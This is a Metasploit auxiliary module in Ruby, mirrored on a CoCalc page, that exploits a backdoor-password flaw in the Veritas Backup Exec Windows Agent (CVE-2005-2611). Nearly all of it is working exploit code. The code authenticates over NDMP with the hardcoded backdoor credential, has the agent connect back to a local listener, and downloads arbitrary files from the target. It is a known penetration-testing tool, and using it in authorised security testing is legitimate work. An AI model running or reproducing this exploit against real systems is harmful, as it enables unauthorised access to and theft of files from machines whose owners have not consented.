Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/backupexec/dump.rb
19852 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::NDMP
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Veritas Backup Exec Windows Remote File Access',
14
'Description' => %q{
15
This module abuses a logic flaw in the Backup Exec Windows Agent to download
16
arbitrary files from the system. This flaw was found by someone who wishes to
17
remain anonymous and affects all known versions of the Backup Exec Windows Agent. The
18
output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program
19
listed in the references section. To transfer an entire directory, specify a
20
path that includes a trailing backslash.
21
},
22
'Author' => [ 'hdm', 'Unknown' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2005-2611'],
26
['OSVDB', '18695'],
27
['BID', '14551'],
28
['URL', 'https://web.archive.org/web/20120227144337/http://www.fpns.net/willy/msbksrc.lzh'],
29
],
30
'Actions' => [
31
['Download', { 'Description' => 'Download arbitrary file' }]
32
],
33
'DefaultAction' => 'Download',
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [IOC_IN_LOGS],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
Opt::RPORT(10000),
45
OptAddressLocal.new(
46
'LHOST',
47
[
48
false,
49
'The local IP address to accept the data connection'
50
]
51
),
52
OptPort.new(
53
'LPORT',
54
[
55
false,
56
'The local port to accept the data connection'
57
]
58
),
59
OptString.new(
60
'RPATH',
61
[
62
true,
63
'The remote filesystem path to download',
64
'C:\\Windows\\win.ini'
65
]
66
),
67
OptString.new(
68
'LPATH',
69
[
70
true,
71
'The local filename to store the exported data',
72
'backupexec_dump.mtf'
73
]
74
),
75
]
76
)
77
end
78
79
def run
80
print_status("Attempting to retrieve #{datastore['RPATH']}...")
81
82
lfd = File.open(datastore['LPATH'], 'wb')
83
84
connect
85
data = ndmp_recv
86
if !data
87
print_error('Did not receive a response from the agent')
88
disconnect
89
return
90
end
91
92
username = 'root'
93
password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"
94
95
#
96
# Authenticate using the backdoor password
97
#
98
auth = [
99
1,
100
Time.now.to_i,
101
0,
102
0x0901,
103
0,
104
0,
105
2,
106
username.length,
107
username,
108
password
109
].pack('NNNNNNNNA*A*')
110
111
print_status('Sending magic authentication request...')
112
ndmp_send(auth)
113
data = ndmp_recv
114
if !data
115
print_error('Did not receive a response to our authentication request')
116
disconnect
117
return
118
end
119
120
#
121
# Create our listener for the data connection
122
#
123
print_status('Starting our data listener...')
124
sfd = Rex::Socket.create_tcp_server(
125
'LocalPort' => datastore['LPORT']
126
)
127
128
local_addr = datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
129
local_port = sfd.getsockname[2]
130
131
#
132
# Create the DATA_CONNECT request
133
#
134
conn = [
135
3,
136
0,
137
0,
138
0x040a,
139
0,
140
0,
141
1,
142
Rex::Socket.resolv_nbo(local_addr, false),
143
local_port
144
].pack('NNNNNNNA4N')
145
146
print_status('Sending data connection request...')
147
ndmp_send(conn)
148
data = ndmp_recv
149
if !data
150
print_error('Did not receive a response to our data connection request')
151
sfd.close
152
disconnect
153
return
154
end
155
156
#
157
# Wait for the agent to connect back
158
#
159
print_status('Waiting for the data connection...')
160
rfd = sfd.accept
161
sfd.close
162
163
#
164
# Create the Mover Set Record Size request
165
#
166
msrs = [
167
4,
168
0,
169
0,
170
0x0a08,
171
0,
172
0,
173
0x8000
174
].pack('NNNNNNN')
175
176
print_status('Sending transfer parameters...')
177
ndmp_send(msrs)
178
data = ndmp_recv
179
if !data
180
print_error('Did not receive a response to our parameters request')
181
disconnect
182
return
183
end
184
185
#
186
# Define our transfer parameters
187
#
188
xenv =
189
[
190
['USERNAME', ''],
191
['BU_EXCLUDE_ACTIVE_FILES', '0'],
192
['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]
193
]
194
195
#
196
# Create the DATA_START_BACKUP request
197
#
198
bkup = [
199
5,
200
0,
201
0,
202
0x0401,
203
0,
204
0,
205
4
206
].pack('NNNNNNN')
207
bkup += 'dump'
208
bkup += [ xenv.length ].pack('N')
209
210
#
211
# Encode the transfer parameters
212
#
213
xenv.each do |e|
214
k, v = e
215
216
# Variable
217
bkup += [k.length].pack('N')
218
bkup += k
219
bkup += Rex::Encoder::NDR.align(k)
220
221
# Value
222
bkup += [v.length].pack('N')
223
bkup += v
224
bkup += Rex::Encoder::NDR.align(v)
225
end
226
227
bkup[-1, 1] = "\x01"
228
229
print_status('Sending backup request...')
230
ndmp_send(bkup)
231
data = ndmp_recv
232
if !data
233
print_error('Did not receive a response to our backup request')
234
disconnect
235
return
236
end
237
238
#
239
# Create the GET_ENV request
240
#
241
genv = [
242
5,
243
0,
244
0,
245
0x4004,
246
0,
247
0
248
].pack('NNNNNN')
249
250
print_status('Sending environment request...')
251
ndmp_send(genv)
252
data = ndmp_recv
253
if !data
254
print_error('Did not receive a response to our environment request')
255
disconnect
256
return
257
end
258
259
#
260
# Start transferring data
261
#
262
print_status('Transferring data...')
263
bcnt = 0
264
265
begin
266
while (data = rfd.get_once)
267
bcnt += data.length
268
lfd.write(data)
269
end
270
rescue ::EOFError => e
271
vprint_error(e.message)
272
end
273
274
lfd.close
275
rfd.close
276
277
print_status("Transferred #{bcnt} bytes.")
278
disconnect
279
end
280
end
281
282